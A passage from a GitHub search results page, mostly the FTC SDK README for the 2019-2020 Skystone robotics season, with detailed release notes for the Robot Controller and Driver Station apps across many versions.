45 skills found · Page 1 of 2
tapwork / WatchdogInspectorShows your current framerate (fps) in the status bar of your iOS app
yrojha4ever / JavaStudOfficial, Main: This is Core/Advance java example series project. It help to learn java step by step using pdf tutorial provided here and corresponding demo project for the eclipse. Tag: Java Student, Java Stud, Stud Java, StudJava, Java Teachers, Studs Quick Start Guide, Studs Java, Object Oriented Programming, Core Java, Java SE, Java EE, Java Enterprise Edition, Java Blog, Java Articles, Java Web, JSP, Servlet, Maven, Spring, Hibernate, Spring-boot, Spring MVC Web, Angular JS, Angular 2, Java Security, Java CRUD, Java Login Example, File Handling, Multi threading, exception handling, Collection classes, Swing, Database, Date Time, Joda Time, JPA.
chrisneagu / FTC Skystone Dark Angels Romania 2020NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in 